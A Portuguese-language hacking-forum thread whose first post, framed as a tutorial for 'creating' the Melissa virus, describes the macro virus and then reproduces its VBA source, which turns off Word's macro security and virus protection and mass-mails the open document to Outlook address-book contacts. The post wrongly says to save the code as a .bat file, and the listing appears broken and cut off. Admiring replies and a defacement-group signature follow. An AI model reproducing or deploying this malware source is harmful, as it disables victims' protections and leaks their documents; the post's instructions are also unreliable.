Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Crie o virus Melissa (Um dos maiores e mais temidos do mundo)

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Crie o virus Melissa (Um dos maiores e mais temidos do mundo)

    Olá para todos ^^

    Vocês se lembram do virus Melissa?

    O Virus Melissa Um dos vírus que mais ganhou popularidade nos últimos dois meses foi o Melissa. Ele é um vírus de macro que, similarmente ao Happy99.exe (que estudamos na semana passada), envia e-mails sem a autorização do usuário.

    A sua popularidade se deve ao fato desse ter sido o vírus que mais rápido se alastrou pelo mundo. Para você ter uma idéia do que isso significa, a primeira notícia na mídia especializada relatando os estragos desse vírus foi publicada apenas seis horas depois do vírus ter sido detectado pela primeira vez.

    Esse vírus é escrito especificamente para o Word 97 e superiores (Word 98 para Mac e Word 2000) e, quando ativado, envia e-mails através do Outlook. O problema é que ele envia esses e-mails sem a autorização do usuário e com os últimos arquivos que você trabalhou no Word em attach. Isso significa que dados confidenciais podem ser enviados sem a sua autorização. Em empresas que possuem conexão dedicada com a Internet, isso ainda significa um prejuízo extra. Se muitos usuários estiverem infectados, com certeza o servidor de e-mail da empresa ficará congestionado, por causa da quantidade de arquivos em attach a serem enviados.

    Quando você recebe um arquivo do Word em attach vindo de alguém conhecido, é muito provável que você abra ele. Se você fizer isso, automaticamente sua máquina estará infectada. Como sempre recomendamos, antes de abrir qualquer arquivo em attach, salve o arquivo em disco e passe um antivírus antes de mais nada, por mais conhecida que seja a pessoa. Como o Melissa é um vírus de macro, qualquer antivírus atualizado consegue removê-lo.

    Importante notar que, mesmo que seu micro não possua modem e você não tenha acesso à Internet, você pode pegar esse vírus como um outro vírus de macro qualquer, ou seja, através de documentos do Word trazidos por amigos e colegas de trabalho em disquetes ou similares. Após a infecção de sua máquina, todos os seus documentos do Word passarão a ser automaticamente infectados pelo vírus.

    Importante notar que, como é escrito usando rotinas para o envio de e-mail, esse vírus não funciona no Word 6 nem no Word 95 ("Word 7"). Além disso, você precisa ter instalado em sua máquina o Outlook 97 ou 98 para que ele consiga passar e-mails. Note que esse vírus não consegue passar e-mails com o Outlook Express.

    Quando os minutos do relógio do micro "batem" com o dia do mês, por exemplo, às 16:10 do dia 10, o vírus acrescenta o seguinte texto aos documentos que estiverem abertos no Word: "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here.". Esse texto foi retirado de um dos episódios da série de TV Os Simpsons
    (Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...)

    Pois bem... aí está o código de um dos maiores virus do mundo!
    So tem que copiar e colar no bloco de notas e salvar com a
    estensao .bat

    Private Sub Document_Open()
    On Error Resume Next
    If System.PrivateProfileString("",
    "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security",
    "Level") <> ""
    Then
    CommandBars("Macro").Controls("Security...").Enabl ed = False
    System.PrivateProfileString("",
    "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security",
    "Level") = 1&
    Else
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -
    1):
    Options.SaveNormalPrompt = (1 - 1)
    End If
    Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
    Set UngaDasOutlook = CreateObject("Outlook.Application")
    Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
    If System.PrivateProfileString("",
    "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by
    Kwyjibo"
    Then
    If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
    Set AddyBook = DasMapiName.AddressLists(y)
    x = 1
    Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
    For oo = 1 To AddyBook.AddressEntries.Count
    Peep = AddyBook.AddressEntries(x)
    BreakUmOffASlice.Recipients.Add Peep
    x = x + 1
    If x > 50 Then oo = AddyBook.AddressEntries.Count
    Next oo
    BreakUmOffASlice.Subject = "Important Message From " &
    Application.UserName
    BreakUmOffASlice.Body = "Here is that document you asked for ... don't
    show anyone else Wink"
    BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
    BreakUmOffASlice.Send
    Peep = ""
    Next y
    DasMapiName.Logoff


    Espero que tenham gostado

    See you

    M1r4g3
    Skype: diego.endrygo

    -------------------------------------------------------


    É meu fã? Use minha fan bar ^^






    Quer ajudar nossso fórum e não sabe como?
    Então click na imagem e ajude-nos com os links off
    --------------------------------------------------------

    Sem tempo ou idéias para seus trabalhos escolares/acadêmicos, TCCs, Monografia, projetos, relatórios e afins:

    www.trabalhofacil.com

    Trabalhos rápidos e únicos, só aqui!
    Similar Threads

  • Font Size
    #2
    Muito bom mirage !
    gostei , mas pede muita coisa , mas eu nao me importo !
    salvando no pc , parabens belo tópico !
    Nao Participa ainda ?
    * Comunidade Elite Defacer


    Elite Defacer
    Hackeralp - 5ubZer0 - $cr34m()

    Comment


    • Font Size
      #3
      Muito bom msm vlw pelo topico!

      Comment


      • Font Size
        #4
        Parabéns..........

        Comment


        • Font Size
          #5
          Parabens mais uma vez Mimi !

          Nunca me canso dos seus posts !

          Bjnhos..

          Intel core i7 2ªgeração, 8gb Ram, Intel HD 3000, HDD 500gb
          --------------------------------------------------------------------------------------

          Comment


          • Font Size
            #6
            Muito bom.
            O Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... tem um código similar a este para se espalhar via e-mail.
            Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



            Notify-list · Twitter · Blog

            Nova lei: Invadir computadores protegidos é crime.
            Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)

            Comment

            X
            Working...
            X